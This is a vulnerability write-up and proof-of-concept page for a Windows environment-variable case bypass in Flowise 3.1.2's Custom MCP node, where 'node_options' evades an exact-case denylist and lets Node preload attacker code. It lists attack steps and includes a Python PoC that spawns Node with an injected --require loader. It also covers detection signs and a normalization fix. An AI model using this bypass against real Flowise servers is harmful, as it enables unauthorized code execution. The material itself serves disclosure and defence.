PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

Flowise Custom MCP Environment Variable Case Bypass

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
web
Affected product
Flowise / flowise-components
Affected versions
3.1.2
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categoryweb
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsflowise, mcp, model-context-protocol, windows, environment-variable, case-insensitivity, node-options, rce
RelatedN/A

Affected Target

FieldValue
Software / SystemFlowise / flowise-components
Versions Affected3.1.2
Language / PlatformNode.js/TypeScript, Windows deployments (Custom MCP stdio transport)
Authentication RequiredYes (authenticated Flowise session or API-key context)
Network Access RequiredYes

Summary

Flowise’s Custom MCP stdio node validates configured environment variables against a denylist (PATH, LD_LIBRARY_PATH, DYLD_LIBRARY_PATH, NODE_OPTIONS) using exact, case-sensitive string comparison. Windows, however, treats environment variable names case-insensitively, so a casing variant such as node_options sails through Flowise’s validation while still being honored by a spawned Node.js child process as NODE_OPTIONS. When the configured MCP command starts a Node.js process, this lets an authenticated user preload attacker-chosen JavaScript via Node’s startup option handling, achieving code execution in the Flowise worker/server context on Windows. The included PoC models Flowise’s validator, confirms the exact-case denylist blocks NODE_OPTIONS but not node_options, and launches a real Node.js child process to prove the lowercase variant is honored. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

packages/components/nodes/tools/MCP/core.ts’s validateEnvironmentVariables denies dangerous environment variable names by exact-case string comparison (dangerousEnvVars.includes(key)), which is not platform-aware. On Windows, environment variable name matching is case-insensitive at the OS/process level, so a differently-cased key bypasses the check but is still applied by the child process.

Attack Vector

  1. Attacker obtains an authenticated Flowise session or API-key context that can configure or load a Custom MCP stdio node.
  2. Attacker sets an environment variable named node_options (lowercase) instead of NODE_OPTIONS on the MCP server config, with a value like --require <malicious-loader>.
  3. Flowise’s exact-case validator does not match node_options against its denylist and allows the configuration.
  4. MCPToolkit.createClient passes the environment map to the MCP SDK’s StdioClientTransport, which spawns the configured command (a Node.js process) with that environment.
  5. On Windows, Node.js resolves node_options to the same slot as NODE_OPTIONS and honors the injected startup flag, executing attacker-supplied code at process start.

Impact

Code execution in the Flowise worker/server process on Windows deployments where Custom MCP stdio configuration is reachable by an authenticated user, potentially enabling privilege escalation within the Flowise environment or lateral movement from the compromised worker.


Environment / Lab Setup

Target:   Flowise / flowise-components 3.1.2 on Windows
Attacker: Python 3.10+, Node.js available in PATH for the canary execution step

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
python poc.py
python poc.py --marker C:\Temp\flowise_marker.txt

The script replicates Flowise’s exact-case denylist check to show NODE_OPTIONS is blocked while node_options is accepted, then spawns a local Node.js process with the lowercase variant to confirm the environment variable is honored and a marker file is created — proving the case bypass and its code-execution consequence.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected Node.js --require/startup flags observed in spawned MCP child processes
  • Custom MCP node configurations with unusual-casing environment variable names
  • Anomalous file writes or network activity originating from Flowise worker processes shortly after MCP tool configuration changes

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationNormalize environment variable names before denylist comparison on every platform, or switch to an allowlist of safe MCP stdio environment variables

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: flowise-mcp-env-case-bypass-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
import argparse
import json
import os
import pathlib
import platform
import shutil
import subprocess
import sys
import tempfile


def flowise_style_validate(env):
    dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
    for key, value in env.items():
        if key in dangerous:
            raise ValueError(f"Environment variable {key!r} modification is not allowed")
        if "\x00" in key or "\x00" in str(value):
            raise ValueError("Environment variables cannot contain null bytes")


def normalized_validate(env):
    dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
    for key, value in env.items():
        if key.upper() in dangerous:
            raise ValueError(f"Environment variable {key!r} modification is not allowed")
        if "\x00" in key or "\x00" in str(value):
            raise ValueError("Environment variables cannot contain null bytes")


def run_node_canary(marker):
    node = shutil.which("node")
    if not node:
        return {"node_found": False, "canary_created": False}
    marker_path = pathlib.Path(marker).resolve()
    loader_path = marker_path.with_suffix(".loader.js")
    loader_path.write_text(
        "require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored')\n",
        encoding="utf-8",
    )
    env = os.environ.copy()
    env.pop("NODE_OPTIONS", None)
    env.pop("node_options", None)
    env["node_options"] = f"--require {loader_path}"
    env["FLOWISE_POC_MARKER"] = str(marker_path)
    if marker_path.exists():
        marker_path.unlink()
    completed = subprocess.run([node, "-e", "process.exit(0)"], env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    return {
        "node_found": True,
        "node": node,
        "returncode": completed.returncode,
        "stderr": completed.stderr.strip(),
        "marker": str(marker_path),
        "canary_created": marker_path.exists(),
        "canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
    }


def run(marker):
    exact_upper_blocked = False
    exact_upper_error = ""
    lower_variant_accepted = False
    normalized_blocks_lower = False
    try:
        flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
    except ValueError as exc:
        exact_upper_blocked = True
        exact_upper_error = str(exc)
    try:
        flowise_style_validate({"node_options": "--require accepted.js"})
        lower_variant_accepted = True
    except ValueError:
        lower_variant_accepted = False
    try:
        normalized_validate({"node_options": "--require accepted.js"})
    except ValueError:
        normalized_blocks_lower = True
    node_result = run_node_canary(marker)
    result = {
        "platform": platform.platform(),
        "windows": os.name == "nt",
        "flowise_style_exact_upper_blocked": exact_upper_blocked,
        "flowise_style_exact_upper_error": exact_upper_error,
        "flowise_style_lower_variant_accepted": lower_variant_accepted,
        "normalized_validator_blocks_lower_variant": normalized_blocks_lower,
        "node_canary": node_result,
        "finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
    }
    print(json.dumps(result, indent=2))
    return 0 if result["finding_reproduced"] else 1


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
    args = parser.parse_args()
    raise SystemExit(run(args.marker))


if __name__ == "__main__":
    main()